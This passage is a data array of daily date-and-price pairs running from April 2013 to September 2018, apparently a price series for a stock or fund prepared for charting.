['20130412',2.7900],
['20130415',2.7900],
['20130416',2.7700],
['20130417',2.7700],
['20130418',2.7900],
['20130419',2.7700],
['20130422',2.7900],
['20130423',2.7700],
['20130424',2.7600],
['20130425',2.7800],
['20130426',2.7900],
['20130429',2.7900],
['20130430',2.7800],
['20130502',2.8000],
['20130503',2.7000],
['20130506',2.6800],
['20130507',2.6700],
['20130508',2.6700],
['20130509',2.6800],
['20130510',2.7200],
['20130513',2.7100],
['20130514',2.7500],
['20130515',2.7500],
['20130516',2.7100],
['20130517',2.7200],
['20130520',2.7100],
['20130521',2.7400],
['20130522',2.7400],
['20130523',2.6900],
['20130527',2.7100],
['20130528',2.7100],
['20130529',2.7300],
['20130530',2.7100],
['20130531',2.7200],
['20130603',2.7200],
['20130604',2.7200],
['20130605',2.7100],
['20130606',2.7000],
['20130607',2.6800],
['20130610',2.7100],
['20130611',2.6800],
['20130612',2.6100],
['20130613',2.5600],
['20130614',2.5800],
['20130617',2.6000],
['20130618',2.6200],
['20130619',2.6400],
['20130620',2.5900],
['20130621',2.5800],
['20130624',2.5500],
['20130625',2.5500],
['20130626',2.5800],
['20130627',2.6000],
['20130628',2.5500],
['20130701',2.5600],
['20130702',2.6600],
['20130703',2.6300],
['20130704',2.6000],
['20130705',2.6700],
['20130708',2.6700],
['20130709',2.6900],
['20130710',2.6600],
['20130711',2.6600],
['20130712',2.6500],
['20130715',2.6800],
['20130716',2.6800],
['20130717',2.6400],
['20130718',2.6700],
['20130719',2.6600],
['20130722',2.6800],
['20130723',2.6800],
['20130724',2.7000],
['20130725',2.7100],
['20130726',2.6700],
['20130729',2.6500],
['20130730',2.6800],
['20130731',2.6800],
['20130801',2.6500],
['20130802',2.6700],
['20130805',2.6700],
['20130806',2.6500],
['20130807',2.6900],
['20130812',2.6900],
['20130813',2.6800],
['20130814',2.6900],
['20130815',2.7000],
['20130816',2.7000],
['20130819',2.6700],
['20130820',2.6800],
['20130821',2.6800],
['20130822',2.6300],
['20130823',2.6200],
['20130826',2.6000],
['20130827',2.5900],
['20130828',2.5700],
['20130829',2.5600],
['20130830',2.5600],
['20130902',2.5800],
['20130903',2.6100],
['20130904',2.5700],
['20130905',2.5800],
['20130906',2.5900],
['20130909',2.5800],
['20130910',2.5700],
['20130911',2.6000],
['20130912',2.6100],
['20130913',2.6000],
['20130916',2.6100],
['20130917',2.6300],
['20130918',2.6200],
['20130919',2.6300],
['20130920',2.4700],
['20130923',2.5900],
['20130924',2.6100],
['20130925',2.6000],
['20130926',2.6000],
['20130927',2.6100],
['20130930',2.6100],
['20131001',2.6200],
['20131002',2.6600],
['20131003',2.6300],
['20131004',2.6300],
['20131007',2.6200],
['20131008',2.6300],
['20131009',2.6200],
['20131010',2.6200],
['20131011',2.6200],
['20131014',2.6400],
['20131016',2.6200],
['20131017',2.6200],
['20131018',2.6200],
['20131021',2.6500],
['20131022',2.6300],
['20131023',2.6300],
['20131024',2.6400],
['20131025',2.6400],
['20131028',2.6600],
['20131029',2.6600],
['20131030',2.6600],
['20131031',2.6300],
['20131101',2.6600],
['20131104',2.6600],
['20131105',2.6700],
['20131106',2.6800],
['20131107',2.6700],
['20131108',2.6900],
['20131111',2.7000],
['20131112',2.6700],
['20131113',2.6800],
['20131114',2.6900],
['20131115',2.6900],
['20131118',2.6900],
['20131119',2.6700],
['20131120',2.6700],
['20131121',2.6700],
['20131122',2.6900],
['20131125',2.6700],
['20131126',2.6900],
['20131127',2.6400],
['20131128',2.6400],
['20131129',2.6400],
['20131202',2.6800],
['20131203',2.6600],
['20131204',2.6600],
['20131205',2.6600],
['20131206',2.6100],
['20131209',2.6400],
['20131210',2.6500],
['20131211',2.6500],
['20131212',2.6600],
['20131213',2.6800],
['20131216',2.6500],
['20131217',2.6500],
['20131218',2.6600],
['20131219',2.6800],
['20131220',2.7000],
['20131223',2.7000],
['20131224',2.7500],
['20131226',2.7400],
['20131227',2.7600],
['20131230',2.7600],
['20131231',2.7500],
['20140102',2.7600],
['20140103',2.7700],
['20140106',2.7700],
['20140107',2.7600],
['20140108',2.7500],
['20140109',2.7600],
['20140110',2.7900],
['20140113',2.7700],
['20140114',2.7800],
['20140115',2.7600],
['20140116',2.7700],
['20140117',2.7500],
['20140120',2.7500],
['20140121',2.7500],
['20140122',2.7500],
['20140123',2.7500],
['20140124',2.7500],
['20140127',2.7500],
['20140128',2.7200],
['20140129',2.7300],
['20140130',2.7200],
['20140203',2.6800],
['20140204',2.6800],
['20140205',2.6500],
['20140206',2.6600],
['20140207',2.6700],
['20140210',2.6600],
['20140211',2.6700],
['20140212',2.6500],
['20140213',2.6600],
['20140214',2.6800],
['20140217',2.6700],
['20140218',2.6700],
['20140219',2.6700],
['20140220',2.6600],
['20140221',2.6700],
['20140224',2.6600],
['20140225',2.6700],
['20140226',2.6600],
['20140227',2.6700],
['20140228',2.6800],
['20140303',2.6600],
['20140304',2.7100],
['20140305',2.7000],
['20140306',2.6800],
['20140307',2.7100],
['20140310',2.7000],
['20140311',2.7300],
['20140312',2.7300],
['20140313',2.7300],
['20140314',2.7300],
['20140317',2.7300],
['20140318',2.7300],
['20140319',2.7200],
['20140320',2.7300],
['20140321',2.7200],
['20140324',2.7200],
['20140325',2.7300],
['20140326',2.7300],
['20140327',2.7400],
['20140328',2.7300],
['20140331',2.7400],
['20140401',2.7300],
['20140402',2.7400],
['20140403',2.7400],
['20140404',2.7400],
['20140407',2.7400],
['20140408',2.7500],
['20140409',2.7600],
['20140410',2.7800],
['20140411',2.7800],
['20140414',2.7800],
['20140415',2.7500],
['20140416',2.7600],
['20140417',2.7800],
['20140421',2.7600],
['20140422',2.7700],
['20140423',2.7700],
['20140424',2.7800],
['20140425',2.7700],
['20140428',2.7500],
['20140429',2.7400],
['20140430',2.7500],
['20140502',2.7700],
['20140505',2.7700],
['20140506',2.7000],
['20140507',2.7000],
['20140508',2.7200],
['20140509',2.7200],
['20140512',2.7400],
['20140514',2.7400],
['20140515',2.7100],
['20140516',2.7400],
['20140519',2.7300],
['20140520',2.7200],
['20140521',2.7100],
['20140522',2.7000],
['20140523',2.7200],
['20140526',2.7100],
['20140527',2.6800],
['20140528',2.7100],
['20140529',2.7400],
['20140530',2.7200],
['20140602',2.7200],
['20140603',2.7300],
['20140604',2.7200],
['20140605',2.7300],
['20140606',2.7200],
['20140609',2.7500],
['20140610',2.7400],
['20140611',2.7400],
['20140612',2.7200],
['20140613',2.7400],
['20140616',2.7100],
['20140617',2.7400],
['20140618',2.7400],
['20140619',2.7400],
['20140620',2.7400],
['20140623',2.7400],
['20140624',2.7400],
['20140625',2.7200],
['20140626',2.7300],
['20140627',2.7500],
['20140630',2.7300],
['20140701',2.7300],
['20140702',2.7400],
['20140703',2.7500],
['20140704',2.7600],
['20140707',2.7300],
['20140708',2.7500],
['20140709',2.7400],
['20140710',2.7500],
['20140711',2.7500],
['20140714',2.7400],
['20140715',2.7600],
['20140716',2.7700],
['20140717',2.7700],
['20140718',2.7600],
['20140721',2.7600],
['20140722',2.7700],
['20140723',2.7600],
['20140724',2.7600],
['20140725',2.7700],
['20140729',2.7900],
['20140730',2.7600],
['20140731',2.7900],
['20140801',2.7700],
['20140804',2.7600],
['20140805',2.7700],
['20140806',2.7800],
['20140807',2.7800],
['20140808',2.7600],
['20140811',2.7800],
['20140812',2.7600],
['20140813',2.7600],
['20140814',2.7600],
['20140815',2.7500],
['20140818',2.7600],
['20140819',2.7700],
['20140820',2.7600],
['20140821',2.7700],
['20140822',2.7600],
['20140825',2.7800],
['20140826',2.7500],
['20140827',2.7300],
['20140828',2.7300],
['20140829',2.7500],
['20140901',2.7500],
['20140902',2.7600],
['20140903',2.7300],
['20140904',2.7200],
['20140905',2.7200],
['20140908',2.7300],
['20140909',2.7200],
['20140910',2.7100],
['20140911',2.7000],
['20140912',2.7000],
['20140915',2.6900],
['20140916',2.6500],
['20140917',2.6500],
['20140918',2.6700],
['20140919',2.6700],
['20140922',2.6600],
['20140923',2.6700],
['20140924',2.6500],
['20140925',2.6700],
['20140926',2.6700],
['20140929',2.6700],
['20140930',2.6700],
['20141001',2.6600],
['20141002',2.6500],
['20141003',2.6400],
['20141007',2.6400],
['20141008',2.6400],
['20141009',2.6100],
['20141010',2.6300],
['20141013',2.6100],
['20141014',2.6100],
['20141015',2.6100],
['20141016',2.6000],
['20141017',2.5800],
['20141020',2.6000],
['20141021',2.6000],
['20141023',2.5900],
['20141024',2.5900],
['20141027',2.6000],
['20141028',2.6000],
['20141029',2.6000],
['20141030',2.5900],
['20141031',2.6000],
['20141103',2.6100],
['20141104',2.6100],
['20141105',2.6600],
['20141106',2.5900],
['20141107',2.5900],
['20141110',2.6000],
['20141111',2.5900],
['20141112',2.5900],
['20141113',2.5900],
['20141114',2.5900],
['20141117',2.5800],
['20141118',2.5800],
['20141119',2.5700],
['20141120',2.5900],
['20141121',2.5800],
['20141124',2.5800],
['20141125',2.5800],
['20141126',2.5800],
['20141127',2.5700],
['20141128',2.5800],
['20141201',2.5700],
['20141202',2.5700],
['20141203',2.6000],
['20141204',2.6000],
['20141205',2.5700],
['20141208',2.5800],
['20141209',2.5900],
['20141210',2.5800],
['20141211',2.5700],
['20141212',2.5800],
['20141215',2.5600],
['20141216',2.5700],
['20141217',2.5700],
['20141218',2.5600],
['20141219',2.5600],
['20141222',2.5800],
['20141223',2.5800],
['20141224',2.5800],
['20141226',2.5900],
['20141229',2.5900],
['20141230',2.6000],
['20141231',2.6100],
['20150102',2.6000],
['20150105',2.6100],
['20150106',2.6100],
['20150107',2.6000],
['20150108',2.6000],
['20150109',2.6100],
['20150112',2.5900],
['20150113',2.6000],
['20150114',2.6100],
['20150115',2.6200],
['20150116',2.6000],
['20150119',2.5900],
['20150120',2.6000],
['20150121',2.6100],
['20150122',2.6200],
['20150123',2.6300],
['20150126',2.6100],
['20150127',2.6200],
['20150128',2.6000],
['20150129',2.6000],
['20150130',2.6300],
['20150202',2.6400],
['20150203',2.6400],
['20150204',2.6400],
['20150205',2.6400],
['20150206',2.6400],
['20150209',2.6400],
['20150210',2.6300],
['20150211',2.6400],
['20150212',2.6500],
['20150213',2.6500],
['20150216',2.6600],
['20150217',2.6400],
['20150218',2.6400],
['20150223',2.6300],
['20150224',2.6400],
['20150225',2.6500],
['20150226',2.6700],
['20150227',2.6200],
['20150302',2.6200],
['20150303',2.6300],
['20150304',2.6100],
['20150305',2.6300],
['20150306',2.6300],
['20150309',2.6200],
['20150310',2.6200],
['20150311',2.6200],
['20150312',2.6100],
['20150313',2.6100],
['20150316',2.6000],
['20150317',2.5900],
['20150318',2.5800],
['20150319',2.5900],
['20150320',2.6000],
['20150323',2.6000],
['20150324',2.6000],
['20150325',2.5900],
['20150326',2.5900],
['20150327',2.5800],
['20150330',2.5800],
['20150331',2.5700],
['20150401',2.5700],
['20150402',2.5800],
['20150406',2.5800],
['20150407',2.5700],
['20150408',2.5900],
['20150409',2.5800],
['20150410',2.5700],
['20150413',2.6000],
['20150414',2.6000],
['20150415',2.6100],
['20150416',2.6400],
['20150417',2.6400],
['20150420',2.6300],
['20150421',2.6500],
['20150422',2.6300],
['20150423',2.6400],
['20150424',2.6400],
['20150427',2.6500],
['20150428',2.6400],
['20150429',2.6400],
['20150430',2.6500],
['20150504',2.6300],
['20150505',2.6000],
['20150506',2.5900],
['20150507',2.5800],
['20150508',2.5900],
['20150511',2.5700],
['20150512',2.5800],
['20150513',2.5800],
['20150514',2.5600],
['20150515',2.5900],
['20150518',2.5900],
['20150519',2.5900],
['20150520',2.5700],
['20150521',2.5900],
['20150522',2.5900],
['20150525',2.5700],
['20150526',2.6000],
['20150527',2.5800],
['20150528',2.5800],
['20150529',2.5900],
['20150602',2.5800],
['20150603',2.5700],
['20150604',2.5700],
['20150605',2.5700],
['20150608',2.5500],
['20150609',2.5500],
['20150610',2.5400],
['20150611',2.5400],
['20150612',2.5300],
['20150615',2.5400],
['20150616',2.5300],
['20150617',2.5300],
['20150618',2.5300],
['20150619',2.6500],
['20150622',2.5700],
['20150623',2.5600],
['20150624',2.5700],
['20150625',2.5900],
['20150626',2.5700],
['20150629',2.5600],
['20150630',2.5500],
['20150701',2.5500],
['20150702',2.5700],
['20150703',2.5600],
['20150706',2.5700],
['20150707',2.5500],
['20150708',2.5500],
['20150709',2.5600],
['20150710',2.5500],
['20150713',2.5700],
['20150714',2.5700],
['20150715',2.5600],
['20150716',2.5700],
['20150720',2.5700],
['20150721',2.5900],
['20150722',2.5900],
['20150723',2.5900],
['20150724',2.5700],
['20150727',2.5900],
['20150728',2.5600],
['20150729',2.5600],
['20150730',2.5600],
['20150731',2.5400],
['20150803',2.5300],
['20150804',2.5500],
['20150805',2.5500],
['20150806',2.5200],
['20150811',2.5300],
['20150812',2.5000],
['20150813',2.4900],
['20150814',2.5100],
['20150817',2.5100],
['20150818',2.5000],
['20150819',2.4400],
['20150820',2.4300],
['20150821',2.3700],
['20150824',2.2900],
['20150825',2.3000],
['20150826',2.3100],
['20150827',2.3600],
['20150828',2.4100],
['20150831',2.3600],
['20150901',2.3900],
['20150902',2.3300],
['20150903',2.3400],
['20150904',2.3000],
['20150907',2.3000],
['20150908',2.3000],
['20150909',2.3500],
['20150910',2.3600],
['20150914',2.3300],
['20150915',2.3500],
['20150916',2.3600],
['20150917',2.4000],
['20150918',2.3600],
['20150921',2.3200],
['20150922',2.3400],
['20150923',2.3000],
['20150925',2.3300],
['20150928',2.2400],
['20150929',2.2800],
['20150930',2.2300],
['20151001',2.2200],
['20151002',2.2600],
['20151005',2.3000],
['20151006',2.3500],
['20151007',2.4000],
['20151008',2.3500],
['20151009',2.3700],
['20151012',2.4000],
['20151013',2.3600],
['20151014',2.3600],
['20151015',2.3800],
['20151016',2.3500],
['20151019',2.3700],
['20151020',2.3600],
['20151021',2.3900],
['20151022',2.3700],
['20151023',2.4000],
['20151026',2.3900],
['20151027',2.4100],
['20151028',2.4100],
['20151029',2.3900],
['20151030',2.3800],
['20151102',2.3200],
['20151103',2.3800],
['20151104',2.3800],
['20151105',2.4000],
['20151106',2.3700],
['20151109',2.3800],
['20151111',2.3700],
['20151112',2.3500],
['20151113',2.3400],
['20151116',2.3400],
['20151117',2.3400],
['20151118',2.3400],
['20151119',2.3500],
['20151120',2.3500],
['20151123',2.4000],
['20151124',2.3700],
['20151125',2.4100],
['20151126',2.3700],
['20151127',2.3700],
['20151130',2.3800],
['20151201',2.3700],
['20151202',2.3500],
['20151203',2.3300],
['20151204',2.3200],
['20151207',2.3300],
['20151208',2.3200],
['20151209',2.3200],
['20151210',2.3100],
['20151211',2.2800],
['20151214',2.3000],
['20151215',2.3000],
['20151216',2.3100],
['20151217',2.3100],
['20151218',2.3900],
['20151221',2.3400],
['20151222',2.3200],
['20151223',2.3300],
['20151224',2.3500],
['20151228',2.3300],
['20151229',2.3500],
['20151230',2.3300],
['20151231',2.3300],
['20160104',2.3400],
['20160105',2.2900],
['20160106',2.2900],
['20160107',2.2700],
['20160108',2.2400],
['20160111',2.2700],
['20160112',2.2500],
['20160113',2.2500],
['20160114',2.2500],
['20160115',2.2400],
['20160118',2.1800],
['20160119',2.1700],
['20160120',2.1600],
['20160121',2.1400],
['20160122',2.1400],
['20160125',2.1600],
['20160126',2.1600],
['20160127',2.1600],
['20160128',2.1500],
['20160129',2.1500],
['20160201',2.1500],
['20160202',2.1400],
['20160203',2.1000],
['20160204',2.1000],
['20160205',2.0900],
['20160210',2.1100],
['20160211',2.1200],
['20160212',2.1000],
['20160215',2.1000],
['20160216',2.1700],
['20160217',2.1100],
['20160218',2.1600],
['20160219',2.1800],
['20160222',2.1600],
['20160223',2.1800],
['20160224',2.1700],
['20160225',2.1800],
['20160226',2.2600],
['20160229',2.2200],
['20160301',2.2600],
['20160302',2.3000],
['20160303',2.2800],
['20160304',2.3000],
['20160307',2.3000],
['20160308',2.2700],
['20160309',2.2900],
['20160310',2.3100],
['20160311',2.3100],
['20160314',2.3500],
['20160315',2.3400],
['20160316',2.3600],
['20160317',2.3400],
['20160318',2.3400],
['20160321',2.3400],
['20160322',2.3200],
['20160323',2.3100],
['20160324',2.2800],
['20160328',2.2900],
['20160329',2.3300],
['20160330',2.3500],
['20160331',2.3800],
['20160401',2.3800],
['20160404',2.3800],
['20160405',2.3700],
['20160406',2.3300],
['20160407',2.3300],
['20160408',2.3600],
['20160411',2.3700],
['20160412',2.3800],
['20160413',2.3700],
['20160414',2.3700],
['20160415',2.3700],
['20160418',2.4000],
['20160419',2.4100],
['20160420',2.4200],
['20160421',2.4000],
['20160422',2.3900],
['20160425',2.3800],
['20160426',2.3700],
['20160427',2.3600],
['20160428',2.3800],
['20160429',2.4000],
['20160503',2.3100],
['20160504',2.2800],
['20160505',2.2800],
['20160506',2.2900],
['20160509',2.2800],
['20160510',2.2700],
['20160511',2.2500],
['20160512',2.2600],
['20160513',2.2600],
['20160516',2.2700],
['20160517',2.2800],
['20160518',2.2800],
['20160519',2.2800],
['20160520',2.2800],
['20160523',2.2800],
['20160524',2.2600],
['20160525',2.2800],
['20160526',2.2700],
['20160527',2.3000],
['20160530',2.3000],
['20160531',2.3300],
['20160601',2.3300],
['20160602',2.3500],
['20160603',2.3800],
['20160606',2.3500],
['20160607',2.3600],
['20160608',2.3700],
['20160609',2.3600],
['20160610',2.3600],
['20160613',2.3600],
['20160614',2.3200],
['20160615',2.3000],
['20160616',2.2800],
['20160617',2.1500],
['20160620',2.2500],
['20160621',2.2300],
['20160622',2.2200],
['20160623',2.2700],
['20160624',2.2300],
['20160627',2.2100],
['20160628',2.2100],
['20160629',2.2600],
['20160630',2.2500],
['20160701',2.2500],
['20160704',2.2300],
['20160705',2.2500],
['20160707',2.2500],
['20160708',2.2300],
['20160711',2.2700],
['20160712',2.2700],
['20160713',2.2500],
['20160714',2.2500],
['20160715',2.2500],
['20160718',2.2600],
['20160719',2.2800],
['20160720',2.2700],
['20160721',2.2900],
['20160722',2.3000],
['20160725',2.2900],
['20160726',2.2900],
['20160727',2.2700],
['20160728',2.2800],
['20160729',2.2700],
['20160801',2.2800],
['20160802',2.2600],
['20160803',2.2800],
['20160804',2.2700],
['20160805',2.2600],
['20160808',2.2600],
['20160810',2.2800],
['20160811',2.2900],
['20160812',2.2700],
['20160815',2.2700],
['20160816',2.2800],
['20160817',2.2800],
['20160818',2.2800],
['20160819',2.2900],
['20160822',2.3000],
['20160823',2.2900],
['20160824',2.2900],
['20160825',2.2500],
['20160826',2.2500],
['20160829',2.2400],
['20160830',2.2400],
['20160831',2.2400],
['20160901',2.2400],
['20160902',2.2400],
['20160905',2.2500],
['20160906',2.2500],
['20160907',2.2300],
['20160908',2.2400],
['20160909',2.2400],
['20160913',2.2400],
['20160914',2.2300],
['20160915',2.2300],
['20160916',2.2200],
['20160919',2.2200],
['20160920',2.2200],
['20160921',2.2300],
['20160922',2.2300],
['20160923',2.2200],
['20160926',2.2300],
['20160927',2.2200],
['20160928',2.2200],
['20160929',2.2300],
['20160930',2.2200],
['20161003',2.2300],
['20161004',2.2400],
['20161005',2.2300],
['20161006',2.2100],
['20161007',2.2200],
['20161010',2.2100],
['20161011',2.2200],
['20161012',2.2000],
['20161013',2.1900],
['20161014',2.2100],
['20161017',2.2000],
['20161018',2.1900],
['20161019',2.2000],
['20161020',2.1800],
['20161021',2.1700],
['20161024',2.1800],
['20161025',2.1800],
['20161026',2.2200],
['20161027',2.1800],
['20161028',2.1700],
['20161031',2.1600],
['20161101',2.1600],
['20161102',2.1600],
['20161103',2.1600],
['20161104',2.1900],
['20161107',2.1600],
['20161108',2.1700],
['20161109',2.1400],
['20161110',2.1700],
['20161111',2.1700],
['20161114',2.1900],
['20161115',2.1900],
['20161116',2.2000],
['20161117',2.1800],
['20161118',2.1700],
['20161121',2.1700],
['20161122',2.1500],
['20161123',2.1600],
['20161124',2.1500],
['20161125',2.1400],
['20161128',2.1400],
['20161129',2.1300],
['20161130',2.1400],
['20161201',2.1500],
['20161202',2.2000],
['20161205',2.1900],
['20161206',2.2100],
['20161207',2.2000],
['20161208',2.1700],
['20161209',2.1700],
['20161212',2.2200],
['20161213',2.2000],
['20161214',2.1800],
['20161215',2.1900],
['20161216',2.1700],
['20161219',2.1600],
['20161220',2.1700],
['20161221',2.1700],
['20161222',2.1500],
['20161223',2.1500],
['20161227',2.1500],
['20161228',2.1400],
['20161229',2.1500],
['20161230',2.1400],
['20170103',2.1500],
['20170104',2.1500],
['20170105',2.1500],
['20170106',2.1500],
['20170109',2.1700],
['20170110',2.2100],
['20170111',2.2000],
['20170112',2.2100],
['20170113',2.1900],
['20170116',2.1900],
['20170117',2.2000],
['20170118',2.2300],
['20170119',2.2200],
['20170120',2.2200],
['20170123',2.1900],
['20170124',2.2000],
['20170125',2.1900],
['20170126',2.2000],
['20170127',2.2000],
['20170131',2.2100],
['20170201',2.2000],
['20170202',2.1900],
['20170203',2.2000],
['20170206',2.2000],
['20170207',2.2200],
['20170208',2.2500],
['20170209',2.2400],
['20170210',2.2500],
['20170213',2.2800],
['20170214',2.5400],
['20170215',2.7000],
['20170216',2.6200],
['20170217',2.6300],
['20170220',2.6200],
['20170221',2.6000],
['20170222',2.6400],
['20170223',2.6300],
['20170224',2.6200],
['20170227',2.6200],
['20170228',2.5900],
['20170301',2.6200],
['20170302',2.6400],
['20170303',2.6300],
['20170306',2.6800],
['20170307',2.6900],
['20170308',2.6900],
['20170309',2.6900],
['20170310',2.7000],
['20170313',2.7000],
['20170314',2.7300],
['20170315',2.7200],
['20170316',2.7200],
['20170317',2.7200],
['20170320',2.7200],
['20170321',2.7100],
['20170322',2.6900],
['20170323',2.7100],
['20170324',2.7000],
['20170327',2.7000],
['20170328',2.7100],
['20170329',2.7100],
['20170330',2.7000],
['20170331',2.7000],
['20170403',2.7100],
['20170404',2.7000],
['20170405',2.8300],
['20170406',2.8300],
['20170407',2.8100],
['20170410',2.8100],
['20170411',2.7900],
['20170412',2.7900],
['20170413',2.7800],
['20170417',2.7700],
['20170418',2.7800],
['20170419',2.7600],
['20170420',2.7500],
['20170421',2.7500],
['20170424',2.7400],
['20170425',2.7500],
['20170426',2.7600],
['20170427',2.7700],
['20170428',2.8000],
['20170502',2.8000],
['20170503',2.8000],
['20170504',2.7300],
['20170505',2.6900],
['20170508',2.6800],
['20170509',2.6700],
['20170511',2.6600],
['20170512',2.6600],
['20170515',2.6400],
['20170516',2.6200],
['20170517',2.6100],
['20170518',2.6000],
['20170519',2.6000],
['20170522',2.6500],
['20170523',2.6400],
['20170524',2.6300],
['20170525',2.6500],
['20170526',2.6300],
['20170529',2.6300],
['20170530',2.6500],
['20170531',2.6300],
['20170601',2.6400],
['20170602',2.6600],
['20170605',2.6700],
['20170606',2.6700],
['20170607',2.6500],
['20170608',2.6500],
['20170609',2.6500],
['20170612',2.6400],
['20170613',2.6500],
['20170614',2.6300],
['20170615',2.6200],
['20170616',2.7100],
['20170619',2.7100],
['20170620',2.6700],
['20170621',2.6600],
['20170622',2.6800],
['20170623',2.6600],
['20170627',2.6500],
['20170628',2.6300],
['20170629',2.6600],
['20170630',2.6300],
['20170703',2.6300],
['20170704',2.6200],
['20170705',2.6500],
['20170706',2.6500],
['20170707',2.6500],
['20170710',2.6300],
['20170711',2.6200],
['20170712',2.6200],
['20170713',2.6200],
['20170714',2.6300],
['20170717',2.6500],
['20170718',2.6600],
['20170719',2.6700],
['20170720',2.6500],
['20170721',2.6800],
['20170724',2.6500],
['20170725',2.6300],
['20170726',2.6400],
['20170727',2.6300],
['20170728',2.6200],
['20170731',2.6300],
['20170801',2.6300],
['20170802',2.6400],
['20170803',2.6300],
['20170804',2.6300],
['20170807',2.6300],
['20170808',2.6300],
['20170810',2.6700],
['20170811',2.6300],
['20170814',2.6500],
['20170815',2.6500],
['20170816',2.6400],
['20170817',2.6400],
['20170818',2.6500],
['20170821',2.6600],
['20170822',2.6100],
['20170823',2.6200],
['20170824',2.6300],
['20170825',2.6300],
['20170828',2.6200],
['20170829',2.6200],
['20170830',2.6300],
['20170831',2.6200],
['20170904',2.6100],
['20170905',2.6200],
['20170906',2.5900],
['20170907',2.6000],
['20170908',2.6200],
['20170911',2.6000],
['20170912',2.6200],
['20170913',2.6000],
['20170914',2.6000],
['20170915',2.6000],
['20170918',2.6100],
['20170919',2.6000],
['20170920',2.6100],
['20170921',2.6000],
['20170922',2.5900],
['20170925',2.5800],
['20170926',2.5800],
['20170927',2.5800],
['20170928',2.6000],
['20170929',2.5800],
['20171002',2.6000],
['20171003',2.5900],
['20171004',2.5900],
['20171005',2.6000],
['20171006',2.6000],
['20171009',2.6000],
['20171010',2.6000],
['20171011',2.6000],
['20171012',2.6400],
['20171013',2.6300],
['20171016',2.6400],
['20171017',2.6400],
['20171019',2.6400],
['20171020',2.6300],
['20171023',2.6500],
['20171024',2.6600],
['20171025',2.6600],
['20171026',2.7200],
['20171027',2.7300],
['20171030',2.7300],
['20171031',2.7300],
['20171101',2.7200],
['20171102',2.6900],
['20171103',2.7000],
['20171106',2.6900],
['20171107',2.7200],
['20171108',2.7100],
['20171109',2.7000],
['20171110',2.7200],
['20171113',2.7500],
['20171114',2.7500],
['20171115',2.7100],
['20171116',2.7000],
['20171117',2.7200],
['20171120',2.7100],
['20171121',2.7200],
['20171122',2.7100],
['20171123',2.7300],
['20171124',2.7200],
['20171127',2.7200],
['20171128',2.7200],
['20171129',2.7200],
['20171130',2.7300],
['20171201',2.7200],
['20171204',2.7100],
['20171205',2.7200],
['20171206',2.7200],
['20171207',2.7300],
['20171208',2.7200],
['20171211',2.7300],
['20171212',2.7300],
['20171213',2.7300],
['20171214',2.7200],
['20171215',2.7400],
['20171218',2.7300],
['20171219',2.7200],
['20171220',2.7100],
['20171221',2.7200],
['20171222',2.7400],
['20171226',2.7400],
['20171227',2.7200],
['20171228',2.7200],
['20171229',2.7300],
['20180102',2.7300],
['20180103',2.7300],
['20180104',2.7700],
['20180105',2.7700],
['20180108',2.7700],
['20180109',2.7800],
['20180110',2.7700],
['20180111',2.7600],
['20180112',2.7700],
['20180115',2.7600],
['20180116',2.7600],
['20180117',2.7500],
['20180118',2.7200],
['20180119',2.7200],
['20180122',2.7100],
['20180123',2.7100],
['20180124',2.7100],
['20180125',2.7100],
['20180126',2.7000],
['20180129',2.7100],
['20180130',2.6900],
['20180131',2.6900],
['20180201',2.6900],
['20180202',2.7000],
['20180205',2.6800],
['20180206',2.6000],
['20180207',2.6100],
['20180208',2.6300],
['20180209',2.6100],
['20180212',2.5900],
['20180213',2.6100],
['20180214',2.6000],
['20180215',2.6000],
['20180219',2.6000],
['20180220',2.6100],
['20180221',2.6200],
['20180222',2.6200],
['20180223',2.6400],
['20180226',2.6500],
['20180227',2.6800],
['20180228',2.7000],
['20180301',2.7100],
['20180302',2.7000],
['20180305',2.7000],
['20180306',2.7000],
['20180307',2.6700],
['20180308',2.7000],
['20180309',2.6900],
['20180312',2.7200],
['20180313',2.7200],
['20180314',2.7000],
['20180315',2.7100],
['20180316',2.7300],
['20180319',2.7300],
['20180320',2.7200],
['20180321',2.7300],
['20180322',2.7200],
['20180323',2.6900],
['20180326',2.7000],
['20180327',2.7000],
['20180328',2.7100],
['20180329',2.6900],
['20180402',2.6900],
['20180403',2.7100],
['20180404',2.6800],
['20180405',2.7000],
['20180406',2.6900],
['20180409',2.7000],
['20180410',2.7000],
['20180411',2.6900],
['20180412',2.7000],
['20180413',2.7200],
['20180416',2.7100],
['20180417',2.7200],
['20180418',2.7400],
['20180419',2.7600],
['20180420',2.7500],
['20180423',2.7500],
['20180424',2.7500],
['20180425',2.7600],
['20180426',2.7400],
['20180427',2.7800],
['20180430',2.8100],
['20180502',2.8000],
['20180503',2.8000],
['20180504',2.7000],
['20180507',2.7100],
['20180508',2.7000],
['20180509',2.6700],
['20180510',2.6900],
['20180511',2.6800],
['20180514',2.7000],
['20180515',2.6900],
['20180516',2.6900],
['20180517',2.7000],
['20180518',2.7000],
['20180521',2.6900],
['20180522',2.7100],
['20180523',2.6900],
['20180524',2.7100],
['20180525',2.7000],
['20180528',2.7300],
['20180530',2.7000],
['20180531',2.7100],
['20180601',2.7100],
['20180604',2.7000],
['20180605',2.7000],
['20180606',2.7200],
['20180607',2.7100],
['20180608',2.6900],
['20180611',2.6900],
['20180612',2.7100],
['20180613',2.7000],
['20180614',2.6700],
['20180618',2.6600],
['20180619',2.6700],
['20180620',2.6500],
['20180621',2.6600],
['20180622',2.6500],
['20180625',2.6300],
['20180626',2.6300],
['20180627',2.6300],
['20180628',2.6400],
['20180629',2.6500],
['20180702',2.6400],
['20180703',2.6200],
['20180704',2.6200],
['20180705',2.6300],
['20180706',2.5900],
['20180709',2.6000],
['20180710',2.5900],
['20180711',2.6000],
['20180712',2.5900],
['20180713',2.6100],
['20180716',2.6200],
['20180717',2.6100],
['20180718',2.6100],
['20180719',2.6300],
['20180720',2.6400],
['20180723',2.6500],
['20180724',2.6600],
['20180725',2.6700],
['20180726',2.6900],
['20180727',2.7100],
['20180730',2.6800],
['20180731',2.6800],
['20180801',2.6800],
['20180802',2.6700],
['20180803',2.6800],
['20180806',2.6900],
['20180807',2.6900],
['20180808',2.7100],
['20180810',2.6900],
['20180813',2.7000],
['20180814',2.7100],
['20180815',2.7200],
['20180816',2.7100],
['20180817',2.7100],
['20180820',2.7100],
['20180821',2.7200],
['20180823',2.7100],
['20180824',2.6500],
['20180827',2.6000],
['20180828',2.6000],
['20180829',2.6000],
['20180830',2.6000],
['20180831',2.6000],
['20180903',2.5900],
['20180904',2.6100],
['20180905',2.5900],
['20180906',2.5900],
['20180907',2.5900],
['20180910',2.5900],
['20180911',2.5800],
['20180912',2.5800],
['20180913',2.5800],
['20180914',2.5800],
['20180917',2.5700],
['20180918',2.5600],
